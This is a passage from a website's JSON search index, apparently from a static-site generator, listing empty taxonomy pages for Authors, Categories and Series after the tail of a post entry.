Engineer","type":"posts"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]